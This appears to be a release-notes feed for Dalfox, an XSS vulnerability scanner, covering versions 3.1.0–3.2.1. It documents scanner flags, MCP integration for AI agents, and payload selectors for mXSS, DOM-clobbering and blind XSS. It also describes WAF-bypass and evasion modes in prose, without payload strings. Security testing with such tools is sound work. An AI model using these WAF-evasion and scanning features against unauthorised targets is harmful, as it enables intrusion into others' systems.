!--skip-headless and --force-headless-verification are removed; headless Chrome is gone and static analysis is always on.
!--grep <file> and --skip-grep are removed; regex response matching replaced by AST analysis.
!--report and --report-format are removed; use -f markdown -o <file> or -f sarif -o <file> instead.
!--max-cpu is removed; CPU allocation is handled automatically by the async scheduler.
!--no-spinner is removed; spinner suppression is now automatic.

docs update Aug 22, 2026 · issue 053

Dalfox adds shell completion generation via dalfox completion for bash, zsh, fish, PowerShell, and Elvish.

└──▷ TRY IT

Install bash completions system-wide after building Dalfox from source or a release archive.

$ dalfox completion bash > /etc/bash_completion.d/dalfox

Install zsh completions to your fpath when using a non-package-manager install.

$ dalfox completion zsh > "${fpath[1]}/_dalfox"

Install fish completions after a Cargo or source build of Dalfox.

$ dalfox completion fish > ~/.config/fish/completions/dalfox.fish

docs update Aug 22, 2026 · issue 053

Dalfox adds dalfox completion subcommand for generating shell completion scripts in bash, zsh, fish, powershell, and elvish.

└──▷ TRY IT

Install persistent tab-completion for Dalfox in your bash environment so subcommands and flags are autocompleted at the prompt.

$ dalfox completion bash > /etc/bash_completion.d/dalfox

Install tab-completion for Dalfox in a fish shell environment.

$ dalfox completion fish > ~/.config/fish/completions/dalfox.fish

New dalfox completion <SHELL> subcommand generates and prints shell completion scripts to stdout for bash, zsh, fish, powershell, and elvish — output is safe to redirect directly to the appropriate completion file.
Deprecated compat commands and the man packaging helper are hidden from generated completion scripts, keeping autocomplete output clean.

2 details in Everything

docs update Aug 14, 2026 · issue 045

Dalfox server gains cross-site request blocking, DNS-rebinding protection, and memory-cap controls for finished scans.

└──▷ TRY IT

Run Dalfox server behind a reverse proxy that forwards a public hostname, so the Host-header gate doesn't reject legitimate requests.

$ dalfox server --allowed-hosts "dalfox.internal,scan.corp.example"

Allow a specific internal web UI to call the Dalfox server API while keeping the cross-site gate active for all other origins.

$ dalfox server --allowed-origins "https://app.example.com"

Prevent unbounded memory growth in long-running server mode by capping how many finished scan results are retained.

$ dalfox server --max-retained-scans 200

Adds --allowed-hosts <names> flag to dalfox server, listing extra hostnames accepted in the Host header beyond the bind host, localhost, and IP literals — needed when a reverse proxy forwards a public hostname.
New cross-site request gate on dalfox server rejects browser-originated cross-site requests by checking the Origin header against the allow-list and blocking Sec-Fetch-Site: cross-site or same-site requests with 403, while leaving non-browser clients (curl, CLI, CI) unaffected.
DNS-rebinding protection added to dalfox server via Host header validation; IP literals and localhost are always accepted, any other hostname must be listed via --allowed-hosts.
Server prints a startup warning when JSONP is enabled without an API key, because JSONP bypasses the cross-site gate and allows any site to launch scans and read results.
Adds --allowed-origins flag to dalfox server to permit specific web UI origins through the cross-site gate while keeping CORS enforcement active.

5 details in Everything

docs update Aug 14, 2026 · issue 045

Dalfox gains a payload subcommand with named selectors for XSS payload categories including mXSS, DOM clobbering, blind, and remote sources.

└──▷ TRY IT

Quickly dump every local payload category in one shot to pipe into a fuzzer or review offline.

$ dalfox payload all

Generate blind-XSS skeletons pre-populated with your OOB callback to drop straight into a payload list.

$ dalfox payload blind

Adds dalfox payload payloadbox to fetch and print remote XSS payloads from PayloadBox.
Adds dalfox payload all to print every local payload selector in one pass, each grouped under a # name header (remote selectors excluded).
Adds event-handlers selector to list all DOM event handler attribute names (e.g., onclick, onmouseover).
Adds useful-tags selector to list HTML tag names commonly used in XSS contexts (e.g., script, img, svg).
Adds uri-scheme selector to print scheme-based XSS payloads (e.g., javascript:).

+6 more show less

Adds dom-clobbering selector to print DOM clobbering payloads.
Adds mxss selector to print mutation-XSS and sanitizer-bypass payloads.
Adds blind selector to print blind-XSS skeletons where {} is substituted with your OOB callback URL.
Adds a selector to print special characters and encoded variants for context probing and breakout.
Adds a selector to print visibly-confirmable sinks with filter-surviving variants.
Adds a selector to print polished alert(document.domain) PoCs for clean screenshots and demos.

11 details in Everything

docs update Aug 14, 2026 · issue 045

Dalfox adds --json flag to output selected payloads as a JSON array.

v3.2.1 Aug 13, 2026 · issue 045

dalfox v3.2.1 adds all payload selector, JSON payload output, closest-selector suggestions, modern JS framework detection, and server-side SSRF guards.

└──▷ GET THIS VERSION

$ git clone --branch v3.2.1 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v3.2.1

Adds all selector to dalfox payload to dump every static payload group in one pass.
Adds JSON output to dalfox payload for machine-readable payload lists.
Adds per-selector item counts to dalfox payload summary output.
Adds closest-selector suggestions to dalfox payload when an unknown selector is given (Levenshtein distance ≤ 2).
Expands uri-scheme and special-chars payload lists in dalfox payload (uri-scheme grows from 5 to 11 entries).

+5 more show less

Adds modern JavaScript framework detection during scanning.
dalfox server now blocks browser-driven cross-site and DNS-rebinding requests by validating Origin, Sec-Fetch-Site, and Host headers.
REST and MCP rate_limit now applies to discovery and mining phases, not only scanning.
Cookie parameters are now injected as cookies rather than same-named headers, raising cookie recall from 80.0% to 87.5%.
Introduces INTERNAL_ERROR status code on target_summary entries so a scanner panic is reported as skipped rather than silently falling through to clean.

10 details in Everything

docs update Aug 11, 2026 · issue 042

Dalfox config reference adds state_file for resumable scans and documents raw-http, har, exact, and signature input options

└──▷ USE IT

Resume a large scan from where it left off after an interruption, skipping already-completed targets.

yaml

state_file: /tmp/dalfox_state.json

Deduplicate scan targets by collapsing URLs that differ only in parameter values, cutting down redundant work.

yaml

exact: true

Adds state_file config option to record completed targets and skip them on re-run, enabling resumable XSS scans.
Documents raw-http and har as supported input sources in the config reference, allowing scans driven by raw HTTP request files or HAR archives.

2 details in Everything

docs update Aug 11, 2026 · issue 042

Dalfox MCP integration gains detailed scan parameters including WAF bypass modes, remote payloads, and blocking scan support

└──▷ USE IT

Run a blocking MCP scan with WAF bypass forced to Cloudflare profile and remote PortSwigger payloads, waiting up to 10 minutes for results.

json

{
  "waf_bypass": "force",
  "force_waf": "cloudflare",
  "waf_evasion": true,
  "remote_payloads": ["portswigger"],
  "wait": true,
  "wait_timeout_sec": 600
}

Attach raw HTTP evidence to findings and route traffic through Burp Suite for a POST endpoint scan with cookie auth.

json

{
  "data": "user=admin&pass=test",
  "cookies": "session=abc123",
  "proxy": "http://127.0.0.1:8080",
  "include_request": true,
  "include_response": true
}

Run a fast smoke scan in CI by capping payloads per parameter and using Assetnote wordlists with a 500 ms delay.

json

{
  "remote_wordlists": ["assetnote"],
  "max_payloads_per_param": 10,
  "delay": 500,
  "follow_redirects": true,
  "wait": true,
  "wait_timeout_sec": 120
}

Adds data field to MCP scan parameters for POST/PUT request bodies, accepting form-urlencoded ("user=admin&pass=test") or JSON strings.
Adds cookies and user_agent fields to MCP scan parameters for per-scan cookie injection and User-Agent override.
Adds delay field (default 0, range 0–9999 ms) and follow_redirects field to control request pacing and 3xx handling in MCP scans.
Adds proxy field to route MCP scan traffic through an HTTP or SOCKS proxy (e.g. "http://127.0.0.1:8080").
Adds include_request and include_response fields (both default false) to attach raw HTTP request and response bodies to each finding for forensic analysis.

+5 more show less

Adds five WAF control fields to MCP scan parameters: waf_bypass (mode: "auto", "force", or "off"), skip_waf_probe, force_waf (accepts "cloudflare", "akamai", "modsec"), waf_evasion, and waf_min_confidence (float in [0.0, 1.0], default 0.3).
Adds remote_payloads and remote_wordlists fields (both default []) to pull extra XSS payloads ("portswigger", "payloadbox") and parameter wordlists ("burp", "assetnote") from remote providers before a scan starts.
Adds max_payloads_per_param field to cap payloads tested per parameter; small values (e.g. 5–20) suitable for agent smoke scans.
Adds wait field to make MCP scan calls blocking — instead of returning {scan_id, status: "queued"} immediately, the call blocks until the scan completes.
Adds wait_timeout_sec field (default 300, range 1–86400) for the wall-clock budget on blocking scans; on timeout the job continues running and the response carries wait_timed_out: true.

10 details in Everything

docs update Aug 11, 2026 · issue 042

Dalfox server mode gains analyze_external_js and five WAF config fields for DOM XSS coverage and bypass control.

└──▷ USE IT

Scan an SPA whose DOM XSS sinks live in external JS bundles, with Cloudflare bypass forced and adaptive evasion enabled.

json

{
  "analyze_external_js": true,
  "waf_bypass": "force",
  "force_waf": "cloudflare",
  "waf_evasion": true,
  "waf_min_confidence": 0.5
}

Run WAF detection only (no bypass) with a high confidence floor to reduce false positives in the fingerprinting probe.

json

{
  "waf_bypass": "off",
  "waf_min_confidence": 0.7
}

Adds analyze_external_js config field (default false) to fetch same-origin <script src> bundles at preflight and AST-analyze them for DOM XSS sinks — useful for SPAs where sink logic lives in external bundles.
Adds waf_bypass config field with modes "auto" (detect then bypass, default), "force" (use force_waf profile), or "off" (detect only) to control WAF handling behavior.
Adds skip_waf_probe config field (default false) to skip the WAF fingerprinting probe entirely.
Adds force_waf config field to pin a specific WAF profile (e.g. "cloudflare") instead of auto-detecting.
Adds waf_evasion config field (default false) to enable adaptive WAF evasion.

+1 more show less

Adds waf_min_confidence config field (range [0.0, 1.0], default 0.3) to set the detection confidence floor — fingerprints below this threshold are discarded.

6 details in Everything

docs update Aug 3, 2026 · issue 034

Dalfox adds baseline diffing, session monitoring, state-file resume, and dedup modes for large-scale XSS scanning

└──▷ TRY IT

In CI, report only findings that are new since the last scan by diffing against the previous run's JSON report.

$ dalfox url https://example.com -f json -o current.json --baseline previous.json --baseline-mode filter

Adds --dedup-urls with exact, signature, and no-dedup modes to collapse duplicate targets before scanning
Adds --state-file to record completed targets and resume interrupted bulk scans without restarting from scratch
Adds --baseline to compare results against a previous Dalfox JSON/JSONL report and surface only newly introduced findings
Adds --baseline-mode with filter (suppress known findings, adjust exit code) and annotate (keep all, tag new ones) modes
Adds session monitoring to detect mid-scan authentication expiry and silent failures where a login redirect produces zero reported findings

+7 more show less

Adds --session-check to specify a regex that must match the authenticated response body, overriding built-in heuristics
Adds --session-check-url to designate a lightweight endpoint (e.g. /api/me) for session re-validation instead of the scan target
Adds --on-session-loss with abort (halt target and skip same-host targets) or continue (keep scanning, preserve exit code) behaviors, marking affected targets as incomplete/SESSION_LOST
Adds per-target wall-clock timeout (hard upper bound in seconds) to abort stalled endpoints during the scan phase
Adds global request-rate cap friendly to shared IPs and edge WAF thresholds, with HTTP 429 always retried regardless of the setting
Adds Interactsh integration to enable OOB/OAST blind XSS detection with optional custom server domains
Expands built-in payload categories to include dom-clobbering, mxss (mutation-XSS / sanitizer-bypass), blind (blind-XSS skeletons with {} OOB callback placeholder), and awesome-alert (screenshot-ready PoC payloads)

12 details in Everything

docs update Aug 3, 2026 · issue 034

Dalfox gains MCP server integration and Caido Active Workflow support for AI-agent and proxy-driven XSS testing.

Exposes Dalfox as a tool via an MCP stdio server, making it available to any MCP-compatible client including Claude and Cursor.
Adds drop-in instructions for skill-aware AI agents (Claude Code, Cursor, OpenCode, Codex) to safely invoke Dalfox.
Integrates with Caido's Active Workflows and Findings to automate real-time XSS testing from within a proxy session.

3 details in Everything

docs update Aug 3, 2026 · issue 034

Dalfox config gains baseline diffing, session-loss detection, and URL deduplication controls

└──▷ USE IT

Resume a large scan without re-testing already-completed targets, and only report findings not seen in a previous run

yaml

# dalfox.yaml
state_file: "scan.state"
baseline: "baseline.json"
baseline_mode: "filter"
dedup_urls: "signature"

Abort a scan automatically if the authenticated session is lost mid-run

yaml

# dalfox.yaml
session_check: "Welcome, "
session_check_url: "https://app.example.com/api/me"
on_session_loss: "abort"

Adds baseline config key to diff a new scan against a previous JSON/JSONL report, surfacing only net-new findings
Adds baseline_mode with filter (drops known findings) and annotate (keeps them, marks new) modes
Adds mid-scan session-loss detection via session_check (regex on response body), session_check_url (dedicated probe), and on_session_loss (abort or continue)
Adds dedup_urls config key with exact, signature (collapse URLs differing only in param values), and off modes
Adds state_file config key to record completed targets and skip them on re-run (CLI only)

5 details in Everything

docs update Aug 3, 2026 · issue 034

Dalfox server mode gains session-expiry detection, flagging SESSION_LOST when credentials expire mid-scan.

Detects expired sessions mid-scan: when credentials (cookie or Authorization header) are supplied, Dalfox fingerprints the authenticated response before scanning and re-checks it at completion, ending the scan with a SESSION_LOST signal if the session died rather than silently returning zero findings.

1 detail in Everything

docs update Aug 3, 2026 · issue 034

Dalfox gains baseline diffing to suppress known findings in CI gates, with filter and annotate modes.

└──▷ TRY IT

Record a full-backlog baseline on first run, then gate CI on new findings only — the build goes red only when something new appears.

$ # Record baseline once
dalfox scan scope.txt -f json -o .dalfox/baseline.json

# Every CI run after — exits non-zero only on new findings
dalfox scan scope.txt \
  --baseline .dalfox/baseline.json \
  --only-poc v \
  -f json -o dalfox.json --silence

Use annotate mode to keep the full finding set while marking novelty, useful for dashboards that need historical and new findings together.

$ dalfox scan scope.txt \
  --baseline .dalfox/baseline.json \
  --baseline-mode annotate \
  -f json -o dalfox-annotated.json

Refresh the baseline after triage without accidentally overwriting it with a diff-only report — omit --baseline so the output holds the full set.

$ dalfox scan scope.txt -f json -o .dalfox/baseline.json
git commit -am "chore: refresh dalfox baseline"

New --baseline flag suppresses previously known findings by diffing against a prior JSON/JSONL report, so CI gates only fail on genuinely new XSS findings.
Two baseline modes: --baseline-mode filter (drops known findings from counts, output, and exit code) and --baseline-mode annotate (keeps all findings and tags each with new: true / new: false for dashboards).
Structured output gains a meta.baseline block reporting path, mode, enabled state, total baseline findings, new count, and known count.
Session-loss mid-scan now emits "status": "incomplete" with "error_code": "SESSION_LOST" and a "error_message" field, plus a top-level incomplete flag in the report envelope.
Report envelope adds dedup_mode and targets_deduplicated fields showing how many targets --dedup-urls collapsed.

+1 more show less

Baseline fingerprinting matches findings on host+path, parameter name, parameter location, injection context, CWE, finding tier, and evidence family — intentionally excluding payload and AST line numbers so re-runs and bundler rebuilds don't resurrect triaged findings.

6 details in Everything

docs update Aug 3, 2026 · issue 034

Dalfox gains a payload subcommand with named selectors for special chars, sinks, PoC alerts, DOM clobbering, mXSS, and blind-XSS payloads.

└──▷ TRY IT

Quickly count how many special characters Dalfox considers relevant — useful before manual reflection testing to scope your character-probe list.

$ dalfox payload special-chars | wc -l

Filter the confirmable-sink list down to prompt-based payloads when alert is blocked by the target's CSP or JS environment.

$ dalfox payload functions | grep -i prompt

New dalfox payload subcommand lets practitioners query built-in payload libraries by named selector: special-chars, functions, awesome-alert, dom-clobbering, mxss, and blind.
Each selector prints one payload per line, making the output directly composable with standard shell tools like grep and wc.
Adds CSP-aware payload generation: when a Content-Security-Policy header is present, Dalfox tailors output to DOM script-gadgets and emits nonce-based policy-callback payloads.
Adds mxss selector surfacing mutation-XSS and sanitizer-bypass vectors for testing HTML sanitizer pipelines.
Adds blind selector emitting blind-XSS callback skeletons (with {} as a placeholder for a callback URL) for out-of-band impact confirmation.

5 details in Everything

docs update Aug 3, 2026 · issue 034

Dalfox gains URL deduplication by parameter signature, resumable scans via state file, and authenticated session monitoring.

└──▷ TRY IT

Collapse thousands of harvested value-variant URLs into one scan per unique endpoint so your --max-targets-per-host budget covers different endpoints rather than one endpoint's parameter values.

$ gau target.app | dalfox scan --dedup-urls signature

Resume a large scan that was interrupted by Ctrl-C or a dropped SSH session without re-scanning already-completed targets.

$ dalfox scan --input-type file urls.txt --state-file scan.state

Scan an authenticated app and detect session expiry using an exact string marker and a cheap dedicated probe endpoint, aborting the host group if the session is lost.

$ dalfox scan https://app.example.com/dashboard?q=1 --cookies sid=$SESSION --session-check 'Signed in as' --session-check-url https://app.example.com/api/me --on-session-loss abort

Adds --dedup-urls signature mode to collapse near-duplicate URLs by method, scheme, host, port, path, and sorted parameter names — so a recon dump of thousands of value variants scans each unique endpoint once instead of thousands of times.
Adds --dedup-urls off to disable all deduplication when every input line must be scanned as given.
Adds --state-file flag to record scan progress and resume interrupted runs, skipping already-completed targets while retrying cancelled or errored ones.
Adds --session-check <marker> and --session-check-url <url> flags to explicitly specify authenticated response markers and a dedicated probe endpoint for session monitoring.
Adds --on-session-loss abort|continue to control scan behavior when a session expiry is detected — defaulting to stopping the affected host group and exiting with code 2 when no findings were made.

+1 more show less

Introduces automated session monitoring that fingerprints the authenticated response during preflight and re-probes after each target's injection stage, detecting session loss via status code changes, redirect-to-login, or appearance of a password field.

6 details in Everything

docs update Aug 3, 2026 · issue 034

Dalfox gains URL deduplication, scan resumption, baseline diffing, and session-loss detection for mass XSS scans.

Adds --dedup-urls flag with exact (drop identical URL+method) and signature (collapse URLs differing only in parameter values) modes to reduce redundant scanning in large target sets.
Adds --state-file to record completed targets and resume interrupted mass scans from where they left off instead of restarting.
Adds --baseline to diff a new scan against a previous Dalfox JSON/JSONL report, surfacing only net-new findings.
Adds --baseline-mode with filter (exclude known findings from counts and exit code) and annotate (keep all findings but mark new ones) modes for CI-friendly baseline workflows.
Adds session monitoring that detects when an authenticated session expires mid-scan, preventing silent zero-finding runs caused by login-page responses.

+4 more show less

Adds --session-check to supply a regex that must keep matching authenticated response bodies, overriding built-in heuristics.
Adds --session-check-url to probe a lightweight endpoint (e.g. /api/me) for session re-validation instead of the scan target.
Adds --on-session-loss with abort (stop affected target, skip host, exit non-zero if nothing found) and continue (keep scanning, leave exit code unchanged) policies; affected targets are always reported as incomplete/SESSION_LOST.
Adds new built-in payload categories: dom-clobbering vectors, mxss mutation-XSS/sanitizer-bypass payloads, awesome-alert polished PoCs, and blind blind-XSS skeletons with OOB callback placeholder.

9 details in Everything

v3.2.0 Aug 2, 2026 · issue 034

Dalfox v3.2.0 adds mass-scan resumption, baseline diffing, dedup, six new DOM-XSS sinks, HTTP QUERY method, and richer finding metadata.

└──▷ GET THIS VERSION

$ git clone --branch v3.2.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v3.2.0

└──▷ TRY IT

Resume a large mass scan that was interrupted — targets already scanned are skipped automatically.

$ dalfox scan urls.txt --state-file scan-state.json

New --state-file flag lets mass scans resume from where they left off, skipping already-completed targets.
New --baseline flag filters output to only findings that are new since a previous run, enabling diff-style reporting.
New --dedup-urls flag performs signature-level deduplication on large URL lists before scanning begins.
Session-loss detection now warns when authentication expires mid-scan rather than silently returning zero findings.
Six new DOM-XSS sinks detected: drag-drop events, async clipboard API, FileReader, setAttributeNS, indirect eval, and DOMParser.

+4 more show less

Supports the HTTP QUERY method (RFC 10008) for scanning targets that use it.
MCP server gains max_payloads_per_param control and a synchronous wait mode for agent workflows.
Expanded dalfox payload selectors: special-chars, functions, awesome-alert, dom-clobbering, mxss, and blind.
Findings now carry three separate metadata axes: confidence, detection method, and impact.

9 details in Everything

docs update Jul 31, 2026 · issue 031

Dalfox gains an MCP integration, exposing XSS scanning as a structured async service with progress tracking and rich findings.

└──▷ TRY IT

Start an async MCP-driven XSS scan from an AI agent or MCP-aware tool, scoping it to a single parameter with a blind-XSS callback.

$ dalfox mcp --target "https://example.com/search?q=test" --method GET --param q --blind_callback_url "https://callback.example" --workers 50 --deep_scan

Configure an MCP server entry so an LLM agent can invoke Dalfox scans with full option support, including custom auth headers and URL+HTML encoding.

json

{
  "mcpServers": {
    "dalfox": {
      "command": "dalfox",
      "args": [
        "mcp",
        "--target", "https://example.com/search?q=test",
        "--method", "GET",
        "--param", "q",
        "--headers", "Authorization: Bearer token",
        "--encoders", "url",
        "--encoders", "html",
        "--timeout", "10",
        "--workers", "50",
        "--blind_callback_url", "https://callback.example",
        "--deep_scan"
      ]
    }
  }
}

Adds dalfox mcp subcommand to expose Dalfox scanning via the Model Context Protocol (MCP), enabling AI agents and toolchains to drive scans programmatically.
MCP scan jobs are asynchronous and return a scan_id immediately, with pollable status (queued → running → done) and per-poll progress metrics including params_tested, requests_sent, findings_so_far, and estimated_completion_pct.
MCP findings include structured enrichment: type_description, detection_method, confidence, confidence_reason, inject_type, payload, evidence, cwe, and severity fields per result.
MCP interface supports key scan options as named parameters: target, method, param, headers, encoders, timeout, scan_timeout, workers, rate_limit, insecure, blind_callback_url, deep_scan, skip_ast_analysis, analyze_external_js, detect_outdated_libs, skip_discovery, and skip_mining.
Encoder names passed to encoders are validated at submission time — unknown encoder names are rejected outright rather than silently reducing payload coverage.

+2 more show less

The method parameter is validated against the accepted HTTP verb set and auto-uppercased (e.g. "post" → "POST"), preventing misconfigured scans from placing the wrong method on the wire.
MCP results include a suggested_poll_interval_ms hint to guide callers on how frequently to check scan status.

7 details in Everything

docs update Jul 31, 2026 · issue 031

Dalfox server mode gains CORS controls, scan-progress polling, preflight checks, and a payload-cap option via its REST API.

└──▷ TRY IT

Start the Dalfox server with CORS restrictions so only your app origins can reach the API.

$ dalfox server --port 6664 --host 0.0.0.0 --allowed-origins "https://app.example.com,https://admin.example.com" --cors-allow-methods "GET,POST,OPTIONS,DELETE" --cors-allow-headers "Content-Type,X-API-KEY,Authorization"

Queue a scan, then poll for live progress — useful in CI to stream findings as they arrive.

$ # Submit the scan
curl -X POST http://127.0.0.1:6664/scan \
  -H "X-API-KEY: change-me" \
  -H "Content-Type: application/json" \
  -d '{"target":"https://target.app?q=test"}'

# Poll progress (use suggested_poll_interval_ms from response to pace requests)
curl -H "X-API-KEY: change-me" http://127.0.0.1:6664/scan/9f2c…

Run a quick smoke scan by capping payloads per parameter, then cancel if it runs too long.

$ # Launch a capped smoke scan
curl -X POST http://127.0.0.1:6664/scan \
  -H "X-API-KEY: change-me" \
  -H "Content-Type: application/json" \
  -d '{"target":"https://target.app?q=test","max_payloads_per_param":10}'

# Cancel if needed
curl -X DELETE -H "X-API-KEY: change-me" http://127.0.0.1:6664/scan/9f2c…

Adds --allowed-origins, --cors-allow-methods, and --cors-allow-headers flags to the server mode for fine-grained CORS policy control.
New GET /scan/{id} polling endpoint returns real-time progress including params_tested, requests_sent, findings_so_far, estimated_completion_pct, and suggested_poll_interval_ms.
New GET /scans?status=<status> endpoint lets operators list scans filtered by state (e.g. running).
New DELETE /scan/{id} endpoint allows cancellation of in-flight scans.
New POST /preflight endpoint checks a target URL before committing to a full scan.

+3 more show less

Adds max_payloads_per_param scan option to cap how many payloads are tested per parameter, enabling fast smoke scans.
Server mode now validates and uppercases the method field and rejects unknown encoder names rather than silently misconfiguring scans.
Documents systemd unit configuration for running Dalfox server as a hardened background service with DALFOX_API_KEY via environment variable.

8 details in Everything

v3.1.1 Jun 21, 2026 · issue 007

Dalfox v3.1.1 unifies server/MCP scan target params, consolidates debug logging, and bounds request fan-out for safer large scans.

└──▷ GET THIS VERSION

$ git clone --branch v3.1.1 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v3.1.1

└──▷ TRY IT

Pipe a HAR capture through dalfox using an explicit input type — now correctly honoured by the pipe subcommand after the parity fix.

$ cat capture.har | dalfox pipe -i har --output results.json

Debug a scan against a REST API server using the unified target parameter (replacing the old url field for server/MCP calls).

$ curl -s -X POST http://localhost:6664/scan -H 'Content-Type: application/json' -d '{"target": "https://example.com/search?q=test"}'

Unifies scan target parameter: Server and MCP modes now accept target (REST retains url as a backward-compatible alias).
Consolidates all debug output through a single stderr dbg_log! macro, keeping JSON/JSONL/SARIF stdout clean under --debug.
Aligns OOB/blind XSS lifecycle messages with the standard timestamped log format (INF/WRN/OOB), making output consistent across scan modes.
Per-parameter payload safety cap and recall-preserving DOM-phase early-exit bound request fan-out, preventing runaway HTTP requests on wide parameter sets.
Bounds unbounded task spawning in parameter mining and cuts server hot-path lock-hold and allocations, improving reliability under load.

5 details in Everything

v3.1.1 Jun 21, 2026 · issue 001

Dalfox v3.1.1 unifies server/MCP scan target params, consolidates debug logging, and bounds request fan-out for safer large scans.

└──▷ GET THIS VERSION

$ git clone --branch v3.1.1 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v3.1.1

└──▷ TRY IT

Pipe a HAR capture through dalfox using an explicit input type — now correctly honoured by the pipe subcommand after the parity fix.

$ cat capture.har | dalfox pipe -i har --output results.json

Debug a scan against a REST API server using the unified target parameter (replacing the old url field for server/MCP calls).

$ curl -s -X POST http://localhost:6664/scan -H 'Content-Type: application/json' -d '{"target": "https://example.com/search?q=test"}'

Unifies scan target parameter: Server and MCP modes now accept target (REST retains url as a backward-compatible alias).
Consolidates all debug output through a single stderr dbg_log! macro, keeping JSON/JSONL/SARIF stdout clean under --debug.
Aligns OOB/blind XSS lifecycle messages with the standard timestamped log format (INF/WRN/OOB), making output consistent across scan modes.
Per-parameter payload safety cap and recall-preserving DOM-phase early-exit bound request fan-out, preventing runaway HTTP requests on wide parameter sets.
Bounds unbounded task spawning in parameter mining and cuts server hot-path lock-hold and allocations, improving reliability under load.

5 details in Everything

3.1.1 Jun 21, 2026 · release notes

Dalfox 3.1.1 unifies target parameter, enforces -i for stdin/file/pipe, bounds fan-out with per-payload cap and DOM early exit.

└──▷ GET THIS VERSION

$ git clone --branch 3.1.1 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout 3.1.1

└──▷ TRY IT

Force stdin input by explicitly passing -i when piping a URL list.

$ cat targets.txt | dalfox pipe -i --config /etc/dalfox/config.yaml

--target (alias -t) now serves as the unified argument for all scan types, including MCP server URLs; url remains a REST alias only
url, file, and pipe input sources now properly load config files, apply global flags, and require explicit -i flag to read from stdin

2 details in Everything

v3.1.0 Jun 14, 2026 · release notes

Dalfox v3.1.0 adds blind/OOB XSS via interactsh, HAR input, external JS analysis, CSP/Trusted Types awareness, and a global rate limiter.

└──▷ GET THIS VERSION

$ git clone --branch v3.1.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v3.1.0

└──▷ TRY IT

Analyze external JS bundles and flag outdated vulnerable libraries in a single authenticated crawl.

$ dalfox url https://app.example.com --analyze-external-js --detect-outdated-libs --header 'Cookie: session=<token>'

Adds --blind-oob for out-of-band XSS detection using an interactsh OAST server, catching stored, async, and non-reflecting sinks.
Adds --analyze-external-js to fetch and AST-analyze same-origin <script src> bundles (up to 16 files / 512 KiB) for DOM-XSS sinks.
Adds --detect-outdated-libs to flag known-vulnerable front-end library versions as informational findings.
Adds CSP and Trusted Types awareness, emitting strict-dynamic/nonce gadget payloads and adapting to Trusted Types policies.
Adds filter-aware payload synthesis that computes exact JS breakout sequences from the observed script prefix, including escaped-quote and nested-context cases.

+9 more show less

Adds four attribute-decode WAF-bypass mutations (KeywordEntityEncode, SchemeBreak, EntityScheme, MultiSlash) exploiting HTML tokenizer entity decoding.
Adds size-limited WAF inspection-window bypass, positioning payloads past the byte boundary WAFs inspect.
Adds --input-type har to accept HAR/proxy exports (Burp, Caido, ZAP, DevTools, mitmproxy) as a scan source.
Adds --rate-limit / -r / --rl for a global requests-per-second token bucket shared across all workers and targets.
Adds --retries and --retry-delay for optional exponential-backoff retries on HTTP 5xx and transient transport errors.
Adds --insecure flag to make TLS certificate validation configurable for scan, server, and mcp modes.
Adds scan_timeout configuration for server and MCP modes to bound total scan duration for concurrent REST/MCP jobs.
Extends structured output metadata (version, targets, duration, request/finding counts, per-target WAF info) to SARIF, Markdown, and TOML formats.
Widens DOM-XSS sink coverage with Document.parseHTMLUnsafe() and window.open() as modeled sinks.

14 details in Everything

v3.1.0 Jun 14, 2026 · issue 007

Dalfox v3.1.0 adds blind/OOB XSS, HAR input, external JS analysis, CSP/Trusted Types payloads, and a global rate limiter.

└──▷ GET THIS VERSION

$ git clone --branch v3.1.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v3.1.0

└──▷ TRY IT

Detect stored/async XSS in a target that never reflects payloads back — catch blind execution via an interactsh OOB callback.

$ dalfox scan https://target.example.com --blind-oob

Replay every request captured in a proxy session (Burp/Caido/ZAP) as a scan source, feeding all recorded targets at once.

$ dalfox scan export.har --input-type har --output json -o results.json

Cap aggregate outbound rate to 20 RPS across all workers while also pulling in external JS bundles for DOM-XSS analysis — useful for rate-sensitive bug-bounty targets.

$ dalfox scan https://target.example.com --rate-limit 20 --analyze-external-js

Adds --blind-oob for out-of-band (OAST) XSS detection via interactsh, catching stored and async sinks that never reflect.
Adds --input-type har to accept HAR exports from Burp, Caido, ZAP, mitmproxy, or DevTools as a scan source.
Adds --analyze-external-js to fetch and run AST DOM-XSS analysis on a target's same-origin <script src> bundles (capped at 16 files / 512 KiB).
Adds --detect-outdated-libs (opt-in) to flag known-vulnerable front-end library versions as informational findings.
Adds CSP & Trusted Types awareness: emits strict-dynamic / nonce gadget payloads and adapts when a Trusted Types policy is detected.

+9 more show less

Adds filter-aware payload synthesis that computes exact JS breakout sequences from the observed script prefix, including escaped-quote and nested-context cases.
Adds four attribute-decode WAF-bypass mutations (KeywordEntityEncode, SchemeBreak, EntityScheme, MultiSlash) exploiting HTML tokenizer entity decoding.
Adds size-limited WAF inspection-window bypass: detects WAFs that inspect only the first N bytes and positions payloads past the inspection window.
Adds global rate limiting via --rate-limit / -r / --rl (requests-per-second token bucket, 0 = unlimited) shared across all workers and targets.
Adds --retries / --retry-delay for optional exponential-backoff retries on HTTP 5xx and transient errors (HTTP 429 is always retried).
Adds --insecure TLS flag to make certificate validation configurable for scan, server, and mcp modes.
Adds scan_timeout whole-scan budget for server and MCP modes to bound total duration of concurrent async jobs.
Extends DOM-XSS sink coverage to include Document.parseHTMLUnsafe() and window.open().
Structured output metadata (version, targets, duration, request/finding counts, per-target WAF info) now included in SARIF, Markdown, and TOML formats.

14 details in Everything

v3.1.0 Jun 14, 2026 · issue 001

Dalfox v3.1.0 adds blind/OOB XSS, HAR input, external JS analysis, CSP/Trusted Types payloads, and a global rate limiter.

└──▷ GET THIS VERSION

$ git clone --branch v3.1.0 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v3.1.0

└──▷ TRY IT

Detect stored/async XSS in a target that never reflects payloads back — catch blind execution via an interactsh OOB callback.

$ dalfox scan https://target.example.com --blind-oob

Replay every request captured in a proxy session (Burp/Caido/ZAP) as a scan source, feeding all recorded targets at once.

$ dalfox scan export.har --input-type har --output json -o results.json

Cap aggregate outbound rate to 20 RPS across all workers while also pulling in external JS bundles for DOM-XSS analysis — useful for rate-sensitive bug-bounty targets.

$ dalfox scan https://target.example.com --rate-limit 20 --analyze-external-js

